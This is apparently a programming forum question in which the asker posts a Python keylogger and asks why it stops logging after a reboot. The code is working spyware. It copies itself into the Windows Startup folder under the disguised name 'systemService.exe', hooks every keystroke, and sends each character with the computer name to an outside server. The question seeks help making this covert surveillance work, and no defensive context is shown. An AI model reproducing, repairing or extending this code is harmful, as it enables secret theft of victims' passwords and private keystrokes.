Python Keylogger

Question

I am trying to make a python keylogger which automatically runs at startup. Here is the python code

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys

userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName

if os.path.exists(filePath):
    if os.path.isfile(filePath+'systemService.exe')==False:
        try:
            shutil.copy2(sys.argv[0],filePath+'systemService.exe')
        except:
            pass
def OnKeyBoardEvent(event):
    try:
        params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
        conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
        conn.request("GET","/index.php?"+params)
    except:
        pass
    return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

This keylogger logs all ascii data to the server named in the code using php.It works fine when i executed this pyw file but when i reboots the pc it doesn't log into the file on server. I doubled checked that this program is present in Startup Directory and is running in background after rebooting. But still not logging data on to the server file.